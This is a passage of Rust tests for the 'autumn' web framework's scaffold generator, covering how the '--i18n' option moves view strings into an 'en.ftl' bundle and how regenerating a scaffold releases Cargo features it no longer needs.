assert_eq!(
routes.matches("form.into_changeset_with(").count(),
2,
"create and update both re-render the form:\n{routes}"
);
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
ftl.contains("contact.field.email.error.email = validation failed: email"),
"the English default must be the text autumn-web renders today:\n{ftl}"
);
}
/// A model with no rule has nothing to resolve, so the handler keeps the
/// plain call and the bundle gets no error key.
#[test]
fn i18n_leaves_an_unvalidated_model_on_the_plain_changeset_call() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Note",
&["body:Text".into()],
"20260503000001",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/notes.rs")).unwrap();
assert!(
routes.contains("form.into_changeset();") && !routes.contains("into_changeset_with("),
"no rule means no resolver:\n{routes}"
);
}
/// A rule that carries its own `message` never reaches the resolver —
/// autumn-web keeps that message — so an arm for it would record a key no
/// call site ever reads and no translator could verify.
#[test]
fn a_validator_rule_with_its_own_message_gets_no_resolver_arm() {
assert_eq!(validator_code_for_rule("email"), Some("email"));
assert_eq!(validator_code_for_rule("length(min = 5)"), Some("length"));
assert_eq!(
validator_code_for_rule("range(min = 0, max = 130)"),
Some("range")
);
assert_eq!(
validator_code_for_rule("length(min = 5, message = \"too short\")"),
None
);
assert_eq!(validator_code_for_rule("email(message=\"nope\")"), None);
}
/// The one surface #2227 could not reach. `import_csv` calls its row
/// handler per line, away from the request, so the report an operator
/// reads keeps English messages. The flag warns about this instead of
/// leaving it to be found in production.
#[test]
fn i18n_says_so_when_the_csv_import_report_keeps_english_messages() {
let tmp = project_with_main(default_main());
let mut options = i18n_options();
options.import = true;
options.model.validations = vec!["email=email".to_owned()];
let plan = plan_scaffold_with_options(
tmp.path(),
"Contact",
&["email:String".into()],
"20260503000002",
&options,
)
.unwrap();
assert!(
plan.warnings
.iter()
.any(|w| w.contains("CSV import report")),
"no import warning in {:?}",
plan.warnings
);
// Without the import surface there is no gap to name.
let tmp2 = project_with_main(default_main());
let mut no_import = i18n_options();
no_import.model.validations = vec!["email=email".to_owned()];
let plan2 = plan_scaffold_with_options(
tmp2.path(),
"Contact",
&["email:String".into()],
"20260503000003",
&no_import,
)
.unwrap();
assert!(
!plan2
.warnings
.iter()
.any(|w| w.contains("CSV import report")),
"{:?}",
plan2.warnings
);
}
/// A standalone `autumn-<profile>.toml` is layered LAST, so it wins over
/// `autumn.toml` — and a project that keeps production config in one has no
/// `[profile.prod.i18n]` for the inline scan to find. Silence there is the
/// loudest failure: `.i18n_auto()` panics at startup on the missing bundle.
#[test]
fn i18n_warns_about_a_standalone_profile_override_file() {
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("autumn-prod.toml"),
"[i18n]\ndir = \"translations\"\ndefault_locale = \"fr\"\n",
)
.unwrap();
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&i18n_fields(),
"20260504000000",
&i18n_options(),
)
.unwrap();
let warning = plan
.warnings
.iter()
.find(|w| w.contains("autumn-prod.toml"))
.unwrap_or_else(|| panic!("no profile-file warning in {:?}", plan.warnings));
assert!(
warning.contains("translations/fr.ftl"),
"must name the bundle the deploy actually loads: {warning}"
);
}
/// AC7: a refused transition is user-facing, and the error's own Display is
/// built in autumn-macros as hardcoded English — so the flash carries a
/// translated message instead of the error text.
#[test]
fn i18n_translates_the_rejected_transition_flash() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Order",
&[
"title:String".into(),
"status:String:states(draft -> published, published -> archived)".into(),
],
"20260506000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/orders.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
routes.contains("flash.error(t!(locale, \"common.transition.rejected\"))"),
"the rejection must come from the bundle:\n{routes}"
);
assert!(
!routes.contains("flash.error(err.to_string())"),
"the English error text must not reach the flash:\n{routes}"
);
assert!(ftl.contains("common.transition.rejected = "), "{ftl}");
}
/// Without the flag the flash is the error's own text, as before.
#[test]
fn without_i18n_the_rejected_transition_flash_is_the_error() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Order",
&[
"title:String".into(),
"status:String:states(draft -> published, published -> archived)".into(),
],
"20260506000000",
&ScaffoldOptions::default(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/orders.rs")).unwrap();
assert!(routes.contains("flash.error(err.to_string())"), "{routes}");
}
/// AC7: the conflict banner is what an author reads at the moment their
/// save is rejected — the last place to fall back to English.
#[test]
fn i18n_translates_the_lock_conflict_banner() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "lock_version:i32".into()],
"20260505000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
routes.contains("t!(locale, \"common.lock.conflict\")"),
"the banner must come from the bundle:\n{routes}"
);
assert!(
!routes.contains("\"This record was changed by someone else"),
"the English literal must be gone:\n{routes}"
);
assert!(
ftl.contains("common.lock.conflict = This record was changed"),
"{ftl}"
);
}
/// AC7: the duplicate-value error is shown to whoever submitted the form,
/// so it is view text too. It cannot ride in `UNIQUE_CONSTRAINTS` — a
/// `const` is evaluated before any request has a locale — so the const
/// keeps the mapping and the message is resolved in the handler.
#[test]
fn i18n_translates_the_unique_violation_message() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String:unique".into()],
"20260503000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
routes.contains("vec![t!(locale, \"common.error.taken\")]"),
"the message must be resolved per request:\n{routes}"
);
assert!(
ftl.contains("common.error.taken = has already been taken"),
"{ftl}"
);
// The const still carries the constraint -> field mapping; only the
// message slot stops being the thing rendered.
assert!(routes.contains("const UNIQUE_CONSTRAINTS"), "{routes}");
}
/// #2439: the framework reads the NUL field error from the bundle. An
/// `--i18n` scaffold ships the catalog entry. No view uses it.
#[test]
fn i18n_scaffold_ships_the_nul_message_key() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260503000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
ftl.contains("common.error.nul_character = Cannot contain the NUL character (0x00)"),
"{ftl}"
);
}
/// Without the flag the whole path is byte-for-byte as it was, including
/// the binding name.
#[test]
fn without_i18n_the_unique_violation_message_is_the_const_text() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String:unique".into()],
"20260503000000",
&ScaffoldOptions::default(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("vec![message.to_string()]"), "{routes}");
assert!(
routes.contains("if let Some((field, message)) ="),
"{routes}"
);
}
/// AC7: the attachment meta span is view text like any other.
///
/// `attachment_link` renders `(image/png, 17 bytes)` beside the download
/// link on both the show and edit pages. The media type and the count are
/// data, but the parentheses, the comma and the unit noun are language — so
/// the whole pattern comes from the bundle and the two values interpolate
/// as Fluent arguments. Left hardcoded, every non-English scaffold with an
/// attachment column renders a stray English "bytes".
#[test]
fn i18n_translates_the_attachment_size_meta() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "cover:Attachment".into()],
"20260430000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(
!routes.contains("\" bytes)\""),
"the size suffix must not stay hardcoded English:\n{routes}"
);
assert!(
routes.contains("t!(locale, \"common.attachment.meta\""),
"the meta span must come from the bundle:\n{routes}"
);
assert!(
ftl.contains("common.attachment.meta = ({ $media }, { $size } bytes)"),
"the pattern a translator reorders must be the whole span:\n{ftl}"
);
// The helper cannot reach a `Locale` it was not handed, and both call
// sites are handlers that hold one.
assert!(
routes.contains("locale: &autumn_web::i18n::Locale,"),
"`attachment_link` must take the locale under `--i18n`:\n{routes}"
);
assert!(
routes.contains("attachment_link(&locale, Some(blob)")
&& routes.contains("attachment_link(&locale, row.cover.as_ref()"),
"both the edit and show call sites must pass it:\n{routes}"
);
}
/// The same scaffold WITHOUT the flag keeps the helper exactly as it was —
/// the flag's byte-for-byte promise covers this seam too.
#[test]
fn without_i18n_the_attachment_meta_stays_a_plain_literal() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "cover:Attachment".into()],
"20260430000000",
&ScaffoldOptions::default(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("\"(\" (blob.content_type) \", \" (blob.byte_size) \" bytes)\""),
"the non-i18n meta span must be untouched:\n{routes}"
);
assert!(
!routes.contains("autumn_web::i18n::Locale"),
"no locale plumbing without the flag:\n{routes}"
);
assert!(
routes.contains("attachment_link(Some(blob)"),
"the call sites must keep their original arity:\n{routes}"
);
}
/// AC4/AC7: every referenced key exists in the emitted `en.ftl`, and the
/// file carries no key the views never reference (which `autumn i18n check`
/// would report as unused), except the one key that the framework looks up.
#[test]
fn i18n_en_ftl_matches_the_referenced_key_set_exactly() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&i18n_fields(),
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
let referenced: BTreeSet<String> = t_macro_keys(&routes).into_iter().collect();
let defined = ftl_keys(&ftl);
assert!(!referenced.is_empty(), "expected `t!` keys in:\n{routes}");
let missing: Vec<_> = referenced.difference(&defined).collect();
assert!(
missing.is_empty(),
"keys referenced but not defined in en.ftl: {missing:?}\n{ftl}"
);
// The framework looks up this key. No view names it (#2439).
let unused: Vec<_> = defined.difference(&referenced).collect();
assert_eq!(
unused,
["common.error.nul_character"],
"keys defined in en.ftl but never referenced:\n{routes}"
);
// English values, so an `en` app reads exactly like the plain scaffold.
assert!(ftl.contains("common.create = Create"), "{ftl}");
assert!(ftl.contains("common.save = Save"), "{ftl}");
assert!(ftl.contains("common.back = Back to list"), "{ftl}");
assert!(ftl.contains("post.new = New Post"), "{ftl}");
assert!(ftl.contains("post.field.title = Title"), "{ftl}");
assert!(
ftl.contains("post.field.author_name = Author Name"),
"{ftl}"
);
}
/// AC3: every view-rendering handler takes the `Locale` extractor so the
/// macro has a `locale` in scope.
#[test]
fn i18n_view_handlers_take_the_locale_extractor() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&i18n_fields(),
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("use autumn_web::i18n::Locale;"),
"routes must import the extractor:\n{routes}"
);
for handler in [
"pub async fn index(",
"pub async fn show(",
"pub async fn new_form(",
"pub async fn edit_form(",
"pub async fn create(",
"pub async fn update(",
] {
let start = routes
.find(handler)
.unwrap_or_else(|| panic!("missing handler `{handler}`:\n{routes}"));
let sig_end = routes[start..].find(") ->").unwrap_or_else(|| {
panic!("unterminated signature for `{handler}`");
});
let sig = &routes[start..start + sig_end];
assert!(
sig.contains("locale: Locale"),
"`{handler}` must take the Locale extractor, got:\n{sig}"
);
}
// The extractor must precede any body-consuming extractor — axum only
// allows one `FromRequest` argument, and it has to be last.
if let Some(start) = routes.find("pub async fn create(") {
let sig = &routes[start..start + routes[start..].find(") ->").unwrap()];
let locale_at = sig.find("locale: Locale").unwrap();
if let Some(body_at) = sig.find("body: Bytes") {
assert!(locale_at < body_at, "Locale must precede the body:\n{sig}");
}
}
}
/// AC3: the `--api` (JSON) path is unaffected — no labels to translate, so
/// no `t!` calls, no `Locale` extractor, and no `.ftl` stub.
#[test]
fn i18n_api_scaffold_output_is_unaffected() {
let fields = i18n_fields();
let tmp_plain = project_with_main(default_main());
plan_scaffold_with_options(
tmp_plain.path(),
"Post",
&fields,
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
let tmp_i18n = project_with_main(default_main());
plan_scaffold_with_options(
tmp_i18n.path(),
"Post",
&fields,
"20260427000000",
&ScaffoldOptions {
api: true,
i18n: true,
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
for rel in [
"src/models/post.rs",
"src/repositories/post.rs",
"Cargo.toml",
] {
let a = fs::read_to_string(tmp_plain.path().join(rel)).unwrap();
let b = fs::read_to_string(tmp_i18n.path().join(rel)).unwrap();
assert_eq!(a, b, "`--api --i18n` must not change `{rel}`");
}
assert!(
!tmp_i18n.path().join("i18n/en.ftl").exists(),
"an `--api` scaffold references no labels, so it writes no `.ftl`"
);
}
/// AC5: shared chrome keys are emitted once and reused — a second resource
/// adds only its own nouns, never a duplicate `common.*` entry.
#[test]
fn i18n_common_chrome_keys_are_emitted_once_across_resources() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into()],
"20260427000001",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert_eq!(
ftl.matches("common.create =").count(),
1,
"shared chrome must be emitted exactly once:\n{ftl}"
);
assert_eq!(ftl.matches("common.back =").count(), 1, "{ftl}");
let keys = ftl_keys(&ftl);
assert!(keys.contains("post.field.title"), "{ftl}");
assert!(keys.contains("comment.field.body"), "{ftl}");
assert!(
!keys.iter().any(|k| k.starts_with("comment.create")),
"chrome must not be duplicated per model:\n{ftl}"
);
}
/// AC4: an `en.ftl` the user has already translated survives regeneration —
/// existing values are never rewritten, only missing keys are appended.
#[test]
fn i18n_merges_into_an_existing_en_ftl_without_clobbering_values() {
let tmp = project_with_main(default_main());
fs::create_dir_all(tmp.path().join("i18n")).unwrap();
fs::write(
tmp.path().join("i18n/en.ftl"),
"# hand-written\nwelcome.title = Welcome\ncommon.create = Add\n",
)
.unwrap();
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
assert!(ftl.contains("welcome.title = Welcome"), "{ftl}");
assert!(
ftl.contains("common.create = Add"),
"an existing value must not be rewritten:\n{ftl}"
);
assert!(!ftl.contains("common.create = Create"), "{ftl}");
assert!(ftl.contains("post.field.title = Title"), "{ftl}");
}
/// AC4 ("zero further config"): the generated app actually resolves the
/// keys — the `i18n` feature is on, `[i18n]` is configured, and the builder
/// loads the bundle.
#[test]
fn i18n_wires_the_project_so_keys_resolve_with_no_further_config() {
let tmp = project_with_main(default_main());
fs::write(tmp.path().join("autumn.toml"), "[server]\nport = 3000\n").unwrap();
// A real `autumn new` project declares autumn-web; the bare fixture does
// not, and a feature cannot be added to a dependency that isn't there.
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname=\"x\"\n\n[dependencies]\nautumn-web = \"0.6\"\n",
)
.unwrap();
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(
cargo.contains("\"i18n\""),
"the `i18n` feature must be enabled:\n{cargo}"
);
let toml = fs::read_to_string(tmp.path().join("autumn.toml")).unwrap();
assert!(toml.contains("[i18n]"), "{toml}");
assert!(toml.contains("default_locale = \"en\""), "{toml}");
let main_rs = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert!(
main_rs.contains(".i18n_auto()"),
"the builder must load the bundle:\n{main_rs}"
);
}
/// AC1: `--i18n` composes with `--searchable` and `--soft-delete`; the
/// strings those variants add are translated too.
#[test]
fn i18n_composes_with_searchable_and_soft_delete() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
&ScaffoldOptions {
i18n: true,
model: ModelOptions {
searchable: vec!["title".into(), "body".into()],
soft_delete: true,
..Default::default()
},
..Default::default()
},
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let ftl = fs::read_to_string(tmp.path().join("i18n/en.ftl")).unwrap();
let referenced: BTreeSet<String> = t_macro_keys(&routes).into_iter().collect();
let defined = ftl_keys(&ftl);
assert!(
referenced.difference(&defined).next().is_none(),
"searchable+trash keys must all be defined:\n{ftl}"
);
assert!(
!routes.contains("\"Search Posts\""),
"the search page's strings must be translated:\n{routes}"
);
assert!(
!routes.contains("\"Restore\"") && !routes.contains("\"Trash is empty.\""),
"the trash view's strings must be translated:\n{routes}"
);
}
/// The variants whose views render outside a request handler (`--live`'s
/// SSE fragment) or through a separate nested renderer are refused up front
/// rather than silently emitting English under an i18n flag.
#[test]
fn i18n_rejects_the_view_variants_it_cannot_translate() {
for (label, options) in [
(
"--live",
ScaffoldOptions {
i18n: true,
live: true,
..Default::default()
},
),
(
"--live-validation",
ScaffoldOptions {
i18n: true,
live_validation: true,
..Default::default()
},
),
(
"--belongs-to",
ScaffoldOptions {
i18n: true,
belongs_to: Some("Post".into()),
..Default::default()
},
),
] {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into()],
"20260427000000",
&options,
)
.unwrap_err();
assert!(
matches!(err, GenerateError::Config(_)),
"{label}: expected a Config error, got {err:?}"
);
let msg = err.to_string();
assert!(
msg.contains("--i18n") && msg.contains(label),
"{label}: the error must name both flags: {msg}"
);
}
}
/// AC1/AC2: the `--belongs-to` refusal has to hold for nesting this run
/// INFERRED as well as nesting it was told about.
///
/// `--belongs-to` is typed once, when the relationship is created; the
/// ordinary "I changed a field, re-scaffold it" run does not repeat it, and
/// [`super::nested::resolve`] deliberately recovers the relationship from
/// the markers in the parent's routes file so the two sides cannot drift
/// apart. That recovery has to reach the refusal too: otherwise
/// `generate … --force --i18n` on an existing child is accepted, and emits
/// nested views whose heading, empty state, add button, and parent backlink
/// are still hardcoded English — a half-translated module, which is exactly
/// what refusing `--belongs-to` outright exists to prevent.
#[test]
fn i18n_is_refused_for_nesting_recovered_from_the_parents_markers() {
let tmp = project_with_scaffolded_parent();
nested_comment_plan(&tmp).execute(Flags::default()).unwrap();
// No `belongs_to` here — exactly what a forgetful `--force --i18n`
// re-scaffold looks like on the command line.
let err = plan_scaffold_with_options(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260429000000",
&ScaffoldOptions {
i18n: true,
..ScaffoldOptions::default()
},
)
.unwrap_err();
assert!(
matches!(err, GenerateError::Config(_)),
"expected a Config error, got {err:?}"
);
let msg = err.to_string();
assert!(
msg.contains("--i18n") && msg.contains("posts.rs"),
"the refusal must name the flag and the evidence it was recovered from: {msg}"
);
}
/// AC2: per-field labels flow through one key per field, used by the index
/// column header, the show property row, and the form control alike.
#[test]
fn i18n_field_labels_share_one_key_per_field() {
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "author_name:String".into()],
"20260427000000",
&i18n_options(),
)
.unwrap()
.execute(Flags::default())
.unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains(".override_label(\"title\", t!(locale, \"post.field.title\"))"),
"form controls must relabel through the field key:\n{routes}"
);
// One key, three surfaces: index header, show row, form label.
assert!(
routes.matches("\"post.field.author_name\"").count() >= 3,
"the field key must serve index, show, and form:\n{routes}"
);
}
/// Regenerating a scaffold without a flag releases the `autumn-web`
/// feature that flag enabled (issue #2328).
mod feature_release {
use super::*;
const CARGO: &str = "[package]\nname = \"x\"\n\n[dependencies]\nautumn-web = \"0.7.0\"\n";
fn project() -> TempDir {
let tmp = project_with_main(default_main());
fs::write(tmp.path().join("Cargo.toml"), CARGO).unwrap();
tmp
}
fn run(tmp: &TempDir, name: &str, fields: &[&str], options: &ScaffoldOptions) {
let tokens: Vec<String> = fields.iter().map(|f| (*f).to_owned()).collect();
plan_scaffold_with_options(tmp.path(), name, &tokens, "20260827000000", options)
.unwrap()
.execute(Flags {
force: true,
..Flags::default()
})
.unwrap();
}
fn autumn_web_line(tmp: &TempDir) -> String {
fs::read_to_string(tmp.path().join("Cargo.toml"))
.unwrap()
.lines()
.find(|l| l.starts_with("autumn-web"))
.unwrap()
.to_owned()
}
fn searchable() -> ScaffoldOptions {
ScaffoldOptions {
model: ModelOptions {
searchable: vec!["title".to_owned()],
..Default::default()
},
..Default::default()
}
}
fn importing() -> ScaffoldOptions {
ScaffoldOptions {
import: true,
..Default::default()
}
}
const POST: &[&str] = &["title:String", "body:Text"];
#[test]
fn dropping_searchable_releases_htmx() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
assert!(autumn_web_line(&tmp).contains("htmx"));
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
!autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn dropping_import_releases_multipart_and_keeps_csv() {
let tmp = project();
run(&tmp, "Post", POST, &importing());
assert!(autumn_web_line(&tmp).contains("multipart"));
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let line = autumn_web_line(&tmp);
assert!(!line.contains("multipart"), "{line}");
assert!(line.contains("csv"), "the export still needs csv: {line}");
}
#[test]
fn dropping_attachment_releases_storage_and_multipart() {
let tmp = project();
run(
&tmp,
"Post",
&["title:String", "cover:attachment"],
&ScaffoldOptions::default(),
);
assert!(autumn_web_line(&tmp).contains("storage"));
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let line = autumn_web_line(&tmp);
assert!(
!line.contains("storage") && !line.contains("multipart"),
"{line}"
);
}
#[test]
fn dropping_richtext_releases_markdown() {
let tmp = project();
run(
&tmp,
"Post",
&["title:String", "body:richtext"],
&ScaffoldOptions::default(),
);
assert!(autumn_web_line(&tmp).contains("markdown"));
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
!autumn_web_line(&tmp).contains("markdown"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn going_live_releases_csv() {
let tmp = project();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(autumn_web_line(&tmp).contains("csv"));
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
assert!(
!autumn_web_line(&tmp).contains("csv"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_feature_a_sibling_scaffold_uses() {
let tmp = project();
run(&tmp, "Note", POST, &importing());
run(&tmp, "Post", POST, &importing());
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("multipart"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_when_a_sibling_route_exists() {
let tmp = project();
run(&tmp, "Note", POST, &searchable());
run(&tmp, "Post", POST, &searchable());
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_feature_hand_written_code_uses() {
let tmp = project();
run(&tmp, "Post", POST, &importing());
fs::write(
tmp.path().join("src/upload.rs"),
"pub async fn up(_m: autumn_web::extract::Multipart) {}\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("multipart"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn plan_edits_cargo_toml_but_leaves_the_disk_alone() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&POST.iter().map(|f| (*f).to_owned()).collect::<Vec<_>>(),
"20260827000000",
&ScaffoldOptions::default(),
)
.unwrap();
let edit = plan.actions.iter().find_map(|a| match a {
Action::Modify { path, contents } if path.ends_with("Cargo.toml") => Some(contents),
_ => None,
});
assert!(!edit.expect("a Cargo.toml edit").contains("htmx"));
assert!(autumn_web_line(&tmp).contains("htmx"));
}
#[test]
fn keeps_storage_for_a_sibling_attachment_scaffold() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Note", &with_file, &ScaffoldOptions::default());
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("storage"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_markdown_and_csv_for_hand_written_code() {
let tmp = project();
run(
&tmp,
"Post",
&["title:String", "body:richtext"],
&ScaffoldOptions::default(),
);
fs::write(
tmp.path().join("src/hand.rs"),
"use autumn_web::extract::Csv;\n\
pub fn a(_c: Csv<Vec<u8>>) { let _ = autumn_web::markdown::render(\"x\"); }\n",
)
.unwrap();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
let kept = autumn_web_line(&tmp);
assert!(kept.contains("markdown") && kept.contains("csv"), "{kept}");
}
#[test]
fn keeps_multipart_when_only_the_import_is_dropped() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &importing());
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("multipart"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_for_code_outside_the_routes_dir() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
fs::create_dir_all(tmp.path().join("src/channels")).unwrap();
fs::write(
tmp.path().join("src/channels/chat.rs"),
"pub const J: &str = autumn_web::htmx::HTMX_JS_PATH;\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn dropping_live_releases_ws() {
let tmp = project();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
assert!(autumn_web_line(&tmp).contains("ws"));
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
!autumn_web_line(&tmp).contains("\"ws\""),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn a_hand_made_model_is_not_a_scaffold_to_regenerate() {
let tmp = project();
fs::write(
tmp.path().join("Cargo.toml"),
CARGO.replace(
"autumn-web = \"0.7.0\"",
"autumn-web = { version = \"0.7.0\", features = [\"htmx\"] }",
),
)
.unwrap();
fs::create_dir_all(tmp.path().join("src/models")).unwrap();
fs::write(tmp.path().join("src/models/post.rs"), "// by hand\n").unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_a_feature_an_example_uses() {
let tmp = project();
fs::create_dir_all(tmp.path().join("examples")).unwrap();
fs::write(
tmp.path().join("examples/demo.rs"),
"use autumn_web::storage::Blob;\nfn main() {}\n",
)
.unwrap();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("storage"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_for_a_sibling_route_that_names_no_marker() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
fs::write(
tmp.path().join("src/routes/hand.rs"),
"pub fn a() { let _ = autumn_web::htmx::OobSwap::default(); }\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_ws_for_code_that_uses_the_prelude_types() {
let tmp = project();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
fs::write(
tmp.path().join("src/support.rs"),
"use autumn_web::prelude::*;\npub fn a(_c: Channels) {}\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("\"ws\""),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_when_default_features_are_off() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
fs::write(
tmp.path().join("Cargo.toml"),
cargo.replace("features = [", "default-features = false, features = ["),
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
